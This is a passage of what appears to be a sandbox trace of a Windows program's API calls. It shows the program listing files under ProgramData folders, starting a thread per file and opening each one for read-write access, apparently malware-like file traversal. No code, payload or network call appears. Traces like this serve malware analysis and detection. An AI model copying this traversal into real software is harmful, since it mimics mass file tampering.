_Dest=0x3475d70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0077.794] wcscat (in: _Dest=0x3475d70, _Source="watermark.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" [0077.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0077.794] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0077.794] FindClose (in: hFindFile=0x34338e8 | out: hFindFile=0x34338e8) returned 1 [0077.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eec40) returned 1 [0077.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430980) returned 1 [0077.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429780) returned 1 [0077.795] RtlExitUserThread (Status=0x0) Thread: id = 658 os_tid = 0xb84 [0074.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x347e9b8 [0074.638] wcscpy (in: _Dest=0x347e9b8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA" [0074.638] wcscat (in: _Dest=0x347e9b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\" [0074.638] wcscat (in: _Dest=0x347e9b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\*" [0074.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eeea8 [0074.638] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\*", lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eeea8) returned 1 [0074.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e9b8) returned 1 [0074.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd2f0) returned 1 [0074.639] RtlExitUserThread (Status=0x0) Thread: id = 659 os_tid = 0x1004 [0074.640] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml")) returned 0x20 [0074.642] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", dwFileAttributes=0x20) returned 0 [0074.643] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.644] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", dwFileAttributes=0x20) returned 0 [0074.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435048) returned 1 [0074.646] RtlExitUserThread (Status=0x0) Thread: id = 660 os_tid = 0x1008 [0074.647] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml")) returned 0x20 [0074.649] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.651] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.652] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ddef0) returned 1 [0074.653] RtlExitUserThread (Status=0x0) Thread: id = 661 os_tid = 0x100c [0074.654] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml")) returned 0x20 [0074.656] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", dwFileAttributes=0x20) returned 0 [0074.657] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.659] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", dwFileAttributes=0x20) returned 0 [0074.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34356c8) returned 1 [0074.660] RtlExitUserThread (Status=0x0) Thread: id = 662 os_tid = 0x1014 [0074.661] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml")) returned 0x20 [0074.662] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.664] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.665] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476e50) returned 1 [0074.667] RtlExitUserThread (Status=0x0) Thread: id = 663 os_tid = 0x1018 [0074.669] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml")) returned 0x20 [0074.671] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", dwFileAttributes=0x20) returned 0 [0074.672] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.674] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", dwFileAttributes=0x20) returned 0 [0074.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434d08) returned 1 [0074.675] RtlExitUserThread (Status=0x0) Thread: id = 664 os_tid = 0x1020 [0074.677] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml")) returned 0x20 [0074.678] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.680] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.681] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476940) returned 1 [0074.683] RtlExitUserThread (Status=0x0) Thread: id = 665 os_tid = 0x1024 [0074.684] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml")) returned 0x20 [0074.686] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", dwFileAttributes=0x20) returned 0 [0074.687] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.688] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", dwFileAttributes=0x20) returned 0 [0074.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435118) returned 1 [0074.690] RtlExitUserThread (Status=0x0) Thread: id = 666 os_tid = 0x1028 [0074.691] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml")) returned 0x20 [0074.692] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.694] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.695] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476508) returned 1 [0074.697] RtlExitUserThread (Status=0x0) Thread: id = 667 os_tid = 0x102c [0074.698] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml")) returned 0x20 [0074.700] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", dwFileAttributes=0x20) returned 0 [0074.701] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.702] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", dwFileAttributes=0x20) returned 0 [0074.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34351e8) returned 1 [0074.704] RtlExitUserThread (Status=0x0) Thread: id = 668 os_tid = 0x1030 [0074.705] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml")) returned 0x20 [0074.706] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.708] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.709] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476790) returned 1 [0074.710] RtlExitUserThread (Status=0x0) Thread: id = 669 os_tid = 0x1034 [0074.711] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml")) returned 0x20 [0074.713] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", dwFileAttributes=0x20) returned 0 [0074.715] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.716] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", dwFileAttributes=0x20) returned 0 [0074.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34352b8) returned 1 [0074.717] RtlExitUserThread (Status=0x0) Thread: id = 670 os_tid = 0x1038 [0074.718] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml")) returned 0x20 [0074.720] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.721] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.723] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476280) returned 1 [0074.724] RtlExitUserThread (Status=0x0) Thread: id = 671 os_tid = 0x103c [0074.725] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml")) returned 0x20 [0074.727] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", dwFileAttributes=0x20) returned 0 [0074.729] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.730] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", dwFileAttributes=0x20) returned 0 [0074.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434a98) returned 1 [0074.732] RtlExitUserThread (Status=0x0) Thread: id = 672 os_tid = 0x1040 [0074.733] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml")) returned 0x20 [0074.734] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.735] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.737] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.738] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475f20) returned 1 [0074.738] RtlExitUserThread (Status=0x0) Thread: id = 673 os_tid = 0x1044 [0074.739] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml")) returned 0x20 [0074.741] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", dwFileAttributes=0x20) returned 0 [0074.742] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.744] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", dwFileAttributes=0x20) returned 0 [0074.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435388) returned 1 [0074.745] RtlExitUserThread (Status=0x0) Thread: id = 674 os_tid = 0x1048 [0074.746] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml")) returned 0x20 [0074.749] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.752] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3477000) returned 1 [0074.753] RtlExitUserThread (Status=0x0) Thread: id = 675 os_tid = 0x104c [0074.755] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml")) returned 0x20 [0074.756] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", dwFileAttributes=0x20) returned 0 [0074.758] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.759] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", dwFileAttributes=0x20) returned 0 [0074.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434c38) returned 1 [0074.761] RtlExitUserThread (Status=0x0) Thread: id = 676 os_tid = 0x1050 [0074.762] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml")) returned 0x20 [0074.763] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.765] CreateFileW 